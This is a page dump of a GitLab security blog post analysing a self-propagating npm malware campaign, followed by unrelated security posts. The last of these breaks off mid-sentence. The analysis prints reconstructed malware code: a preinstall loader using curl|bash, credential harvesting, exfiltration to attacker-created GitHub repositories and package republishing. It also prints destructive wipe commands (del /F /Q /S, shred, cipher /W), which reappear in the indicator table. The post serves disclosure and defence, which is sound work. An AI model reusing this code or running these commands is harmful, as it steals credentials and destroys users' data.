[{"data":1,"prerenderedAt":802},["ShallowReactive",2],{"/en-us/blog/gitlab-discovers-widespread-npm-supply-chain-attack":3,"navigation-en-us":36,"banner-en-us":436,"footer-en-us":446,"blog-post-authors-en-us-Michael Henriksen|Daniel Abeles":688,"blog-related-posts-en-us-gitlab-discovers-widespread-npm-supply-chain-attack":714,"assessment-promotions-en-us":754,"next-steps-en-us":792},{"id":4,"title":5,"authorSlugs":6,"body":9,"categorySlug":10,"config":11,"content":15,"description":9,"extension":26,"isFeatured":12,"meta":27,"navigation":12,"path":28,"publishedDate":20,"seo":29,"stem":32,"tagSlugs":33,"__hash__":35},"blogPosts/en-us/blog/gitlab-discovers-widespread-npm-supply-chain-attack.yml","Gitlab Discovers Widespread Npm Supply Chain Attack",[7,8],"michael-henriksen","daniel-abeles",null,"security",{"featured":12,"template":13,"slug":14},true,"BlogPost","gitlab-discovers-widespread-npm-supply-chain-attack",{"title":16,"description":17,"heroImage":18,"body":19,"date":20,"category":10,"tags":21,"authors":23},"GitLab discovers widespread npm supply chain attack","Malware driving attack includes \"dead man's switch\" that can harm user data.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLab's Vulnerability Research team has identified an active, large-scale supply chain attack involving a destructive malware variant spreading through the npm ecosystem. Our internal monitoring system has uncovered multiple infected packages containing what appears to be an evolved version of the \"[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)\" malware.\n\nEarly analysis shows worm-like propagation behavior that automatically infects additional packages maintained by impacted developers. Most critically, we've discovered the malware contains a \"**dead man's switch**\" mechanism that threatens to destroy user data if its propagation and exfiltration channels are severed.\n\n**We verified that GitLab was not using any of the malicious packages and are sharing our findings to help the broader security community respond effectively.**\n\n## Inside the attack\n\nOur internal monitoring system, which scans open-source package registries for malicious packages, has identified multiple npm packages infected with sophisticated malware that:\n\n- Harvests credentials from GitHub, npm, AWS, GCP, and Azure\n- Exfiltrates stolen data to attacker-controlled GitHub repositories\n- Propagates by automatically infecting other packages owned by victims\n- **Contains a destructive payload that triggers if the malware loses access to its infrastructure**\n\nWhile we've confirmed several infected packages, the worm-like propagation mechanism means many more packages are likely compromised. The investigation is ongoing as we work to understand the full scope of this campaign.\n\n## Technical analysis: How the attack unfolds\n\n![mermaid chart of how the attack unfolds](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### Initial infection vector\n\nThe malware infiltrates systems through a carefully crafted multi-stage loading process. Infected packages contain a modified `package.json` with a preinstall script pointing to `setup_bun.js`. This loader script appears innocuous, claiming to install the Bun JavaScript runtime, which is a legitimate tool. However, its true purpose is to establish the malware's execution environment.\n\n```javascript\n// This file gets added to victim's packages as setup_bun.js\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Downloads and installs bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Runs the actual malware\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\nThe `setup_bun.js` loader downloads or locates the Bun runtime on the system, then executes the bundled `bun_environment.js` payload, a 10MB obfuscated file already present in the infected package. This approach provides multiple layers of evasion: the initial loader is small and seemingly legitimate, while the actual malicious code is heavily obfuscated and bundled into a file too large for casual inspection.\n\n### Credential harvesting\n\nOnce executed, the malware immediately begins credential discovery across multiple sources:\n\n- **GitHub tokens**: Searches environment variables and GitHub CLI configurations for tokens starting with `ghp_` (GitHub personal access token) or `gho_`(GitHub OAuth token)\n- **Cloud credentials**: Enumerates AWS, GCP, and Azure credentials using official SDKs, checking environment variables, config files, and metadata services\n- **npm tokens**: Extracts tokens for package publishing from `.npmrc` files and environment variables, which are common locations for securely storing sensitive configuration and credentials.\n- **Filesystem scanning**: Downloads and executes Trufflehog, a legitimate security tool, to scan the entire home directory for API keys, passwords, and other secrets hidden in configuration files, source code, or git history\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scan user's home directory for secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Upload findings to exfiltration repo\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### Data exfiltration network\n\nThe malware uses stolen GitHub tokens to create public repositories with a specific marker in their description: \"Sha1-Hulud: The Second Coming.\" These repositories serve as dropboxes for stolen credentials and system information.\n\n```javascript\nasync function createRepo(name) {\n  // Creates a repository with a specific description marker\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Marker for finding repos later\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Install GitHub Actions runner for persistence\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installs self-hosted runner\n  }\n\n  return repo;\n}\n```\n\nCritically, if the initial GitHub token lacks sufficient permissions, the malware searches for other compromised repositories with the same marker, allowing it to retrieve tokens from other infected systems. This creates a resilient botnet-like network where compromised systems share access tokens.\n\n```javascript\n// How the malware network shares tokens:\nasync fetchToken() {\n  // Search GitHub for repos with the identifying marker\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Try to retrieve tokens from compromised repos\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Use token from another infected system\n    }\n  }\n  return null;  // No valid tokens found in network\n}\n```\n\n### Supply chain propagation\n\nUsing stolen npm tokens, the malware:\n\n1. Downloads all packages maintained by the victim\n2. Injects the `setup_bun.js` loader into each package's preinstall scripts\n3. Bundles the malicious `bun_environment.js` payload\n4. Increments the package version number\n5. Republishes the infected packages to npm\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // Download original package\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extract and modify package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Add malicious preinstall script\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Increment version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundle backdoor installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackage and publish\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## The dead man's switch\n\nOur analysis uncovered a destructive payload designed to protect the malware’s infrastructure against takedown attempts.\n\nThe malware continuously monitors its access to GitHub (for exfiltration) and npm (for propagation). If an infected system loses access to both channels simultaneously, it triggers immediate data destruction on the compromised machine. On Windows, it attempts to delete all user files and overwrite disk sectors. On Unix systems, it uses `shred` to overwrite files before deletion, making recovery nearly impossible.\n\n```javascript\n// CRITICAL: Token validation failure triggers destruction\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Try to find or create GitHub access\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos\n\n    if (!fetchedToken) {  // No GitHub access possible\n      if (npmToken) {\n        // Fallback to NPM propagation only\n        await El(npmToken);\n      } else {\n        // DESTRUCTION TRIGGER: No GitHub AND no NPM access\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Attempts to delete all user files and overwrite disk sectors\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Overwrite deleted data\n          ]);\n        } else {\n          // Attempts to shred all writable files in home directory\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Overwrite and delete\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Remove empty dirs\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nThis creates a dangerous scenario. If GitHub mass-deletes the malware's repositories or npm bulk-revokes compromised tokens, thousands of infected systems could simultaneously destroy user data. The distributed nature of the attack means that each infected machine independently monitors access and will trigger deletion of the user’s data when a takedown is detected.\n\n## Indicators of compromise\n\nTo aid in detection and response, here is a more comprehensive list of the key indicators of compromise (IoCs) identified during our analysis.\n\n| Type | Indicator | Description |\n| :---- | :---- | :---- |\n| **file** | `bun_environment.js` | Malicious post-install script in node\\_modules directories |\n| **directory** | `.truffler-cache/` | Hidden directory created in user home for Trufflehog binary storage |\n| **directory** | `.truffler-cache/extract/` | Temporary directory used for binary extraction |\n| **file** | `.truffler-cache/trufflehog` | Downloaded Trufflehog binary (Linux/Mac) |\n| **file** | `.truffler-cache/trufflehog.exe` | Downloaded Trufflehog binary (Windows) |\n| **process** | `del /F /Q /S \"%USERPROFILE%*\"` | Windows destructive payload command |\n| **process** | `shred -uvz -n 1` | Linux/Mac destructive payload command |\n| **process** | `cipher /W:%USERPROFILE%` | Windows secure deletion command in payload |\n| **command** | `curl -fsSL https://bun.sh/install \\| bash` | Suspicious Bun installation during NPM package install |\n| **command** | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | Windows Bun installation via PowerShell |\n\n## How GitLab can help you detect this malware campaign\nIf you are using GitLab Ultimate, you can leverage built-in security capabilities to immediately surface exposure tied to this attack within your projects.\n\nFirst, enable [**Dependency Scanning**](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) to automatically analyze your project's dependencies against known vulnerability databases. **If infected packages are present in your `package-lock.json` or `yarn.lock` files, Dependency Scanning will flag them in your pipeline results and the Vulnerability Report.** For complete setup instructions, refer to the [Dependency Scanning documentation](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer).\n\nOnce enabled, merge requests introducing a compromised package will surface a warning before the code reaches your main branch.\n\nNext, [**GitLab Duo Chat**](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/) can be used with Dependency Scanning to provide a fast way to check your project's exposure without navigating through reports. From the dropdown, select the [Security Analyst Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) and simply ask questions like:\n* \"Are any of my dependencies affected by the Shai-Hulud v2 malware campaign?\"\n* \"Does this project have any npm supply chain vulnerabilities?\"\n* \"Does this project have any npm supply chain vulnerabilities?\"\n* \"Show me critical vulnerabilities in my JavaScript dependencies.\"\n\nThe agent will query your project's vulnerability data and provide a direct answer, helping security teams triage quickly across multiple projects.\n\n![GitLab Security Analyst Agent findings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\nFor teams managing many repositories, we recommend combining these approaches: use Dependency Scanning for continuous automated detection in CI/CD, and the Security Analyst Agent for ad-hoc investigation and rapid response during active incidents like this one.\n## Looking ahead\nThis campaign represents an evolution in supply chain attacks where the threat of collateral damage becomes the primary defense mechanism for the attacker's infrastructure. The investigation is ongoing as we work with the community to understand the full scope and develop safe remediation strategies.\n\nGitLab's automated detection systems continue to monitor for new infections and variations of this attack. By sharing our findings early, we hope to help the community respond effectively while avoiding the pitfalls created by the malware's dead man's switch design.","2025-11-24",[10,22],"security research",[24,25],"Michael Henriksen","Daniel Abeles","yml",{},"/en-us/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":30,"title":16,"description":17},{"noIndex":31},false,"en-us/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[10,34],"security-research","9t7vX0yidJk0-J4B98iubx-2sVjumHkH4-0lU8gwpF0",{"data":37},{"logo":38,"freeTrial":43,"sales":48,"login":53,"items":58,"search":366,"minimal":397,"duo":416,"pricingDeployment":426},{"config":39},{"href":40,"dataGaName":41,"dataGaLocation":42},"/","gitlab logo","header",{"text":44,"config":45},"Get free trial",{"href":46,"dataGaName":47,"dataGaLocation":42},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":49,"config":50},"Talk to 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GitLab built a security control framework from scratch","GitLab's Security Compliance team created a custom control framework to scale across multiple certifications and products — here's why and how you can, too.\n",[720],"Davoud Tu","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-03-04","GitLab's Security Compliance team discovered that existing security control frameworks lacked the customization to fit the platform's multi-product, cloud-native environment.\n\nSo we built our own.\n\nHere's what we learned and why creating your own custom security control framework might be the right move for your compliance program.\n\n## The journey through frameworks\n\nWhen I joined GitLab's Security Compliance team in November 2022, we were using the [Secure Controls Framework](https://securecontrolsframework.com/) to manage controls across our external certifications and internal compliance needs. But as our requirements grew, we realized we needed something more comprehensive. \n\nWith FedRAMP authorization on our roadmap, we chose to adopt [NIST SP 800-53](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final) next. NIST SP 800-53 includes more than 1,000 controls, but its comprehensiveness isn’t perfectly suited to GitLab’s environment.\n\nWe didn't need to implement every NIST control, only those applicable to our specific requirements. Our focus was on the quality of controls rather than quantity. Implementing unnecessary controls doesn't improve security; in fact, too many can make an environment less secure as individuals find ways to circumvent overly restrictive or irrelevant controls. \n\nSome controls also lacked the necessary granularity for our needs. For example, NIST’s AC-2 “Account Management” control covers account creation and provisioning, account modification and disabling, account removal and termination, shared and group account management, and account monitoring and reviews.\n\nIn practice, these are _at least_ six distinct controls with different owners, testing procedures, and risks. For attestations like SOC 2, each activity is tested as a separate control because they have different evidence requirements and operational contexts. NIST's all-encompassing AC-2 didn't match how we actually operate controls or how auditors actually assess us, and we needed controls granular enough to reflect our operational environment.  \n\nWe found ourselves constantly customizing, adding, and adapting NIST controls to fit our environment. At some point, we realized we weren't really using NIST SP 800-53 anymore, we were building our own framework on top of it. We decided a custom control framework, one tailored to GitLab’s environment, would best accommodate our multi-product offering and each product’s unique compliance needs.\n\n## Building the GitLab Control Framework\n\nThrough five methodical steps, we built our own common controls framework: the GitLab Control Framework (GCF).\n\n### 1. Analyze what we need\n\nWe reviewed our existing controls and mapped every requirement from external certifications we already maintained, certifications on our roadmap, and our internal compliance program: \n\n**External certifications:**\n\n* SOC 2 Type II  \n* ISO 27001, ISO 27017, ISO 27018, ISO 42001  \n* PCI DSS  \n* TISAX  \n* Cyber Essentials  \n* FedRAMP\n\n**Internal compliance needs:**\n\n* Controls for mission-critical systems that are not in-scope for external certifications   \n* Controls for systems with access to sensitive data\n\nThis gave us the baseline: what controls must exist to meet our compliance obligations.\n\n### 2. Learn from industry frameworks\n\nNext, we compared our requirements against industry-recognized frameworks:\n\n* NIST SP 800-53  \n* NIST Cybersecurity Framework (CSF)  \n* Secure Controls Framework (SCF)  \n* Adobe and Cisco Common Controls Framework (CCF)\n\nHaving adopted frameworks in the past, we wanted to learn from their structure and ensure we weren't missing critical security domains, controls, or best practices.\n\n### 3. Create custom control domains\n\nThrough this analysis, we created 18 custom control domains tailored to GitLab's environment:\n\n\n| Abbreviation | Domain | Scope of controls |\n| :---- | :---- | :---- |\n| AAM | Audit & Accountability Management | Logging, monitoring, and maintaining audit trails of system activities |\n| AIM | Artificial Intelligence Management | Specific to AI system development, deployment, and governance |\n| ASM | Asset Management | Identifying, tracking, and managing organizational assets |\n| BCA | Backups, Contingency, and Availability Management | Business continuity, disaster recovery, and system availability |\n| CHM | Change Management | Managing changes to systems, applications, and infrastructure |\n| CSR | Customer Security Relationship Management | Customer communication, transparency, and security commitments |\n| DPM | Data Protection Management | Protecting data confidentiality, integrity, and privacy |\n| EPM | Endpoint Management | Securing end-user devices and workstations |\n| GPM | Governance & Program Management | Security governance, policies, and program oversight |\n| IAM | Identity, Authentication, and Access Management | User identity, authentication mechanisms, and access control |\n| INC | Incident Management | Detecting, responding to, and recovering from security incidents |\n| ISM | Infrastructure Security Management | Network, server, and foundational infrastructure security |\n| PAS | Product and Application Security Management | Security capabilities built into the GitLab product that are dogfooded to secure GitLab's own development, such as branch protection & code security scanning |\n| PSM | People Security Management | Personnel security, training, and awareness |\n| SDL | Software Development & Acquisition Life Cycle Management | Secure SDLC practices and third-party software acquisition |\n| SRM | Security Risk Management | Risk assessment, treatment, and management |\n| TPR | Third Party Risk Management | Managing security risks from vendors and suppliers |\n| TVM | Threat & Vulnerability Management | Identifying and remediating security vulnerabilities |\n\n\u003Cbr>\u003C/br>\n\n\nEach domain groups related controls into logical families that align with how GitLab's security program is actually organized and operated. This structure provides a methodical approach for adding, updating, or removing controls as our needs evolve.\n\n### 4. Add context and data\n\nWith our domains defined, we needed to address two critical challenges: how to represent controls across multiple products without duplicating the framework, and how to capture meaningful implementation context to actually operate and audit at scale. \n\n#### Scaling across multiple products\n\nGitLab provides multiple product offerings: GitLab.com (multi-tenant SaaS on GCP), GitLab Dedicated (single-tenant SaaS on AWS), and GitLab Dedicated for Government (GitLab’s single-tenant FedRAMP offering on AWS). Each offering has different infrastructure, compliance scopes, and audit requirements. We needed to support product-specific audits without creating entirely separate frameworks.\n\nWe designed a control hierarchy where **Level 1 controls are the framework**, defining what should be implemented at the organizational level. **Level 2 controls are the implementation**, capturing the product-specific details of how each requirement is actually fulfilled.\n\n```mermaid\n%%{init: { \"fontFamily\": \"GitLab Sans\" }}%%\ngraph TD\n    accTitle: Control Hierarchy\n    accDescr: Level 1 requirements cascade to Level 2 implementations.\n    \n    L1[\"Level 1: Framework\u003Cbr/>What must be implemented\"];\n    L2A[\"Level 2: GitLab.com\u003Cbr/>How it's implemented\"];\n    L2B[\"Level 2: Dedicated\u003Cbr/>How it's implemented\"];\n    L2C[\"Level 2: Dedicated for Gov\u003Cbr/>How it's implemented\"];\n    L2D[\"Level 2: Entity\u003Cbr/>(inherited by all)\"];\n    \n    L1-->L2A;\n    L1-->L2B;\n    L1-->L2C;\n    L1-->L2D;\n```\n\n\u003Cbr>\u003C/br>\n\nThis separation allows us to maintain one framework with product-specific implementations, rather than managing duplicate frameworks for each offering. Entity controls apply organization-wide and are inherited by GitLab.com, GitLab Dedicated, and GitLab Dedicated for Government.\n\n#### Adding context to controls\n\nTraditional control frameworks track minimal information: a control ID, description, and owner. The GCF takes a different approach and its superpower is the extensive metadata we track for each control. Beyond just stating the control description or implementation statement, we capture:\n\n* Control owner: Who is accountable for the control and its risk?  \n* Environment: Does this apply organization-wide (Entity, inherited by all product offerings), to GitLab.com, or to Dedicated?  \n* Assets: What specific systems does this control cover?  \n* Frequency: How often is the control performed or tested?  \n* Nature: Is it manual, semi-automated, or fully automated?  \n* Classification: Is this for external certifications or internal risk?  \n* Testing details: How do we assess it? What evidence do we collect?\n\nThis context transforms the GCF from a simple control list into an operationalized control inventory.\n\nWith this structure, we can answer questions like: \n\n* Which controls apply to GitLab.com for our SOC 2 audit vs. GitLab Dedicated? → Filter by environment: GitLab.com  \n* What controls does the Infrastructure team own? → Filter by owner   \n* Which controls can we automate? → Filter by nature: Manual \n\n### 5. Iterate, mature, and scale\n\nThe GCF isn't static and was designed to evolve with our business and compliance landscape.\n\n#### Pursuing new certifications\n\nBecause we've operationalized context into the GCF, we can quickly determine the scope and gaps when pursuing new certifications (ISMAP, IRAP, C5, etc.): \n\n1. Determine scope: Which product has the business need (GitLab.com, GitLab Dedicated, or both)?\n2. Map requirements: Do existing controls already cover the new certification requirements?   \n3. Identify gaps: What new controls need to be created?  \n4. Update mappings: Link existing controls to the new certification requirements.\n\n#### Adapting to new regulations\n\nWhen new regulations emerge or existing requirements change: \n\n* Review existing controls: Does an existing control already cover the new requirement?   \n* Update or create: Either update existing control language or create a new control.  \n* Apply the most stringent: When multiple certifications have similar requirements, we implement the most stringent version — secure once, comply with many.\n* Map across certifications: Link the control to all relevant certification requirements.\n\n#### Managing control lifecycle\n\nThe framework adapts to various changes:\n\n* Requirement changes: When certifications update their requirements, we review impacted controls and update descriptions or mappings.\n* Deprecated controls: If a requirement is removed or a control is no longer needed, we mark it as deprecated and remove it from our monitoring schedule.  \n* New risks identified: Risk assessments may identify gaps requiring new internal controls.\n\n## The power of common controls: One control, multiple requirements\n\nSecuring once and complying with many isn't just a principle, it has tangible benefits across how we prepare for audits, support control owners, and pursue new certifications. Here's what that looks like in practice, both qualitatively and in the numbers. \n\n### Qualitative results\n\nSince implementing the GCF, we've seen significant improvements in how we manage compliance: \n\n#### Integrated audit approach\n\nThe GCF enables us to maintain one framework with controls mapped to multiple certification requirements, instead of managing separate control sets for each audit. One control can satisfy SOC 2, ISO 27001, and PCI DSS requirements simultaneously.\n\n#### Faster audit preparation\n\nThrough the GCF, we maintain one consolidated request list instead of separate lists for each audit. Because we've defined controls with specific context, our request lists say \"Okta user list\" instead of generic \"production user list,\" eliminating ambiguity and interpretation. We're not collecting “N/A” evidence or leaving it up to auditors to interpret what \"production\" means in our environment. Everything is already scoped to our actual systems.\n\n#### Reduced stakeholder burden\n\nThis integration directly reduces burden on our stakeholders. Control owners provide evidence once instead of responding to separate requests from SOC 2, ISO, and PCI auditors. When we collect evidence for access controls, it satisfies SOC 2, ISO 27001, and PCI DSS requirements simultaneously. One control, one test, one piece of evidence with multiple certifications and requirements satisfied.\n\n#### Efficient gap assessments\n\nWhen pursuing new certifications or launching new features, the operationalized context enables more efficient gap analysis. We can determine which controls already exist, what's missing, and what implementation is required. \n\n### Quantifiable results\n\n**Control efficiency:**\n\n* Reduced SOC controls by 58% (200 controls → 84\\) for GitLab.com and 55% (181 → 82) for GitLab Dedicated  \n* One framework now supports 8+ certifications \n\n**Audit efficiency:**\n\n* Consolidated 4 audit request lists into 1, reducing requests by 44% (415 → 231)  \n* 95% evidence acceptance rate before fieldwork for recent PCI audits\n\n**Framework scale:**\n\n* 220+ active controls across 18 custom domains  \n* Mapped to 1,300+ certification requirements  \n* Supports multiple product offerings\n\n## The path forward\n\nThe GCF continues to evolve as we add security and AI controls, pursue new certifications, and refine our approach. \n\n**For security compliance practitioners:** Don't be afraid to build your own framework if industry standards don't fit. The upfront investment pays dividends in scalability, efficiency, and controls that actually make sense for your environment. Sometimes the best framework is the one you design yourself.\n\n> If you found this helpful, check out our complete [GitLab Control Framework documentation](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/sec-controls/), where we detail our framework methodology, control domains, and field structures.",[10,725],"tutorial",{"featured":12,"template":13,"slug":727},"how-gitlab-built-a-security-control-framework-from-scratch",{"content":729,"config":741},{"title":730,"description":731,"authors":732,"heroImage":735,"date":736,"body":737,"category":10,"tags":738},"Track vulnerability remediation with the updated GitLab Security Dashboard","Quickly prioritize remediation on high-risk projects and measure progress with vulnerability insights.",[733,734],"Alisa Ho","Mike Clausen","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771438388/t6sts5qw4z8561gtlxiq.png","2026-02-19","Security teams and developers face the same frustration: thousands of vulnerabilities demanding attention, without the insights to help them prioritize remediation. Where is risk concentrated and how fast is it being remediated? Where will remediation efforts have the greatest impact? The updated GitLab Security Dashboard helps answer these questions with trend tracking, vulnerability age distribution, and risk scoring by project.\n\n## Measure remediation, not just detection\nApplication security teams don’t struggle to find vulnerabilities; they struggle to make sense of them. Most dashboards show raw counts without context, forcing teams to spend countless hours chasing remediation without understanding what vulnerabilities expose them to the greatest risks.\n\n[GitLab Security Dashboard](https://docs.gitlab.com/user/application_security/security_dashboard/#new-security-dashboards) consolidates all vulnerability data into one view that spans projects, groups, and business units.\n\nIn 18.6, we introduced the first release of the updated Security Dashboard, allowing teams to view vulnerabilities over time and filter based on project or report type. As part of the [18.9 release](https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/), customers will be able to take advantage of new filters and charts that make it easier to slice data by severity, status, scanner, or project and visualize trends such as open vulnerabilities, remediation velocity, vulnerability age distribution, and risk score over time.\n\nRisk scores help teams prioritize remediating their most critical vulnerabilities. The risk score is calculated using factors such as vulnerability age, Exploit Prediction Scoring System (EPSS), and Known Exploited Vulnerability (KEV) scores for related repositories and their security postures. With this data, application security teams can pinpoint which areas need more attention than others. \n\nGitLab Security Dashboard helps application security and development teams:\n* **Track program effectiveness**: Monitor remediation velocity, scanner adoption, and risk posture to show measurable improvement.\n* **Focus on targeted remediation**: Fix vulnerabilities that represent the greater risk to production systems.\n* **Identify areas for remediation training**: Find which teams struggle with remediating vulnerabilities in accordance with company policy to invest in additional training. \n* **Reduce manual reporting**: Eliminate the need for external dashboards and spreadsheets by tracking everything directly within GitLab.\n\nThis update reflects GitLab’s continued commitment to making security measurable, contextual, and integrated into everyday development workflows. GitLab Security Dashboard turns raw findings into actionable insights, giving security and development teams the clarity to prioritize, reduce risk faster, and prove their progress.\n\n## See Security Dashboard in action\nAn application security leader preparing for an executive briefing can now show whether investments are reducing risk with clear trendlines: open vulnerabilities decreasing, vulnerability age decreasing, once-prevalent CWE types trending downward, and a healthy risk score. Instead of presenting raw counts, they can demonstrate how the backlog is shrinking and how risk posture is improving quarter over quarter.\n\nAt the same time, developers can see the same dashboard highlighting critical vulnerabilities in their active projects, allowing them to focus remediation efforts without exporting data or juggling multiple tools.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1166108924?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Security-Dashboard-Demo-Final\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> For more details on how to get started with GitLab Security Dashboard today, check out our [documentation](https://docs.gitlab.com/user/application_security/security_dashboard/).",[10,739,740],"product","features",{"featured":31,"template":13,"slug":742},"track-vulnerability-remediation-with-the-updated-gitlab-security-dashboard",{"content":744,"config":752},{"title":745,"description":746,"authors":747,"heroImage":749,"date":736,"body":750,"category":10,"tags":751},"GitLab Threat Intelligence Team reveals North Korean tradecraft","Gain threat intelligence about North Korea’s Contagious Interview and fake IT worker campaigns and learn how GitLab disrupted their operations.",[748],"Oliver Smith","https://res.cloudinary.com/about-gitlab-com/image/upload/v1751464282/r2ovpvmizpkcngy9kzqu.png","We’re sharing intelligence on threat actors associated with North Korean Contagious Interview and IT worker campaigns to raise awareness of emerging trends in operations and tradecraft. We hope this analysis helps the broader security community defend against evolving threats and address the industry-wide challenge of threat actors using legitimate platforms and tools for their operations.\nPublishing this intelligence reflects our commitment to disrupting threat actor infrastructure. Our security team continuously monitors for accounts that violate our platform’s terms of use and maintains controls designed to prevent the creation of accounts from U.S.-embargoed countries in accordance with applicable trade control laws.\n\n**There is no action needed by GitLab customers and GitLab remains secure.**\n\n## Executive summary\n\n### What is Contagious Interview?\n\nSince at least 2022, North Korean nation-state threat actors have posed as recruiters to induce software developers to execute malicious code projects under the pretense of technical interviews. Malicious projects execute custom malware, allowing threat actors to steal credentials and remotely control devices, enabling financial and identity theft and lateral movement. This malware distribution campaign has impacted thousands of developers and is tracked in industry research as Contagious Interview.\n\n### About the report\nIn 2025, GitLab identified and banned accounts created by North Korean threat actors used for [Contagious Interview](https://attack.mitre.org/groups/G1052/). GitLab’s visibility into these actors' code repositories provides unique, real-time intelligence into the infrastructure powering campaign activity. In some instances, we can leverage this insight to identify private GitLab.com projects created and used by North Korean nation-state threat actors. Some private projects contain malware development artifacts powering North Korean nation-state malware campaigns. Other projects contain records and notes or software capabilities that support North Korean sanctions evasion and revenue generation through [IT worker activity](https://www.fbi.gov/investigate/cyber/alerts/2025/north-korean-it-worker-threats-to-u-s-businesses).\n\nExposing this activity discourages future attempts by these actors to create GitLab accounts and offers insights other organizations can use to enhance their own defenses.\n\nThis report contains a [Year in Review](#year-in-review) summarizing activity from North Korean nation-state actors that used GitLab.com for their operations in 2025, including a campaign-level view into malware infrastructure and technique trends. The report also includes case studies analyzing:\n\n* [Financial records](#case-study-1-north-korean-it-worker-cell-manager-financial-and-administrative-records) maintained by the manager of a North Korean IT worker cell, detailing proceeds from 2022 to 2025\n* [A synthetic identity creation pipeline](#case-study-2-synthetic-identity-creation-and-service-abuse-at-scale) used to create at least 135 personas, automated to generate professional connections and contact leads at scale\n* [A North Korean IT worker controlling 21 unique personas](#case-study-3-north-korean-operator-controlling-21-personas) and adding their own image to stolen U.S. identity documents\n* [A North Korean IT worker recruiting facilitators](#case-study-4-north-korean-fake-it-worker-operating-from-central-moscow) and working for U.S. organizations while operating from Moscow, Russia\n\nWe’re also sharing more than 600 indicators of compromise associated with these case studies, which can be found in the [Appendix](#appendix-2-indicators-of-compromise).\n\n\n## Year in Review\n\nNorth Korean nation-state malware activity accelerated in the second half of 2025 and peaked in September. We banned an average of 11 accounts per month for distributing North Korean nation-state malware or loaders. We assess that North Korean nation-state malware activity on GitLab.com almost certainly relates to distinct teams operating in parallel based on branching distribution and obfuscation techniques, infrastructure, and malware variants.\n\n### Key findings\n\nHere are our key findings, including 2025 campaign trends and malicious code project features.\n\n#### 2025 campaign trends\n\nIn 2025, we banned 131 unique accounts distributing malicious code projects we attribute to North Korean nation-state threat actors. We identified malicious projects through a combination of proactive detection and user reports. In every instance, threat actors used primarily JavaScript codebases. Malicious repositories executed JavaScript-based malware families tracked publicly as 